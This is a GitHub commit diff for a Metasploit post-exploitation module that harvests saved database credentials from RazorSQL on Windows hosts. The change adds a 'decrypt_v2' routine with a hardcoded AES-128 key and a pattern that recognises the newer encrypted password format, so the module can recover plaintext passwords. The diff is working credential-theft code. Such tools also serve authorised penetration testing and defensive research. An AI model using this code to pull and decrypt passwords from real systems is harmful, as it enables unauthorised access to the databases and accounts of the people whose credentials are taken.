Skip to content

Commit eb39eaa

Browse files
committed
Add support to decryption v2
1 parent 656f64d commit eb39eaa

File tree

1 file changed

+21
-2
lines changed

1 file changed

+21
-2
lines changed

modules/post/windows/gather/credentials/razorsql.rb

Lines changed: 21 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
require 'msf/core'
77
require 'rex'
88
require 'msf/core/auxiliary/report'
9+
require 'openssl'
910

1011
class Metasploit3 < Msf::Post
1112

@@ -138,7 +139,13 @@ def parse_content(table, content)
138139
pass = (db.scan(/password=(.*)/).flatten[0] ||'').strip
139140

140141
# Decrypt if there's a password
141-
decrypted_pass = decrypt(pass) unless pass.blank?
142+
unless pass.blank?
143+
if pass =~ /\{\{\{VFW(.*)!\^\*#\$RIG/
144+
decrypted_pass = decrypt_v2($1)
145+
else
146+
decrypted_pass = decrypt(pass)
147+
end
148+
end
142149

143150
pass = decrypted_pass ? decrypted_pass : pass
144151

@@ -191,8 +198,20 @@ def decrypt( encrypted_password )
191198
password << char
192199
end
193200

194-
return password
201+
password
202+
end
203+
204+
def decrypt_v2(encrypted)
205+
enc = Rex::Text.decode_base64(encrypted)
206+
key = Rex::Text.decode_base64('LAEGCx0gKU0BAQICCQklKQ==')
207+
208+
aes = OpenSSL::Cipher.new('AES-128-CBC')
209+
aes.decrypt
210+
aes.key = key
211+
212+
aes.update(enc) + aes.final
195213
end
214+
196215
end
197216

198217
=begin

0 commit comments

Comments
 (0)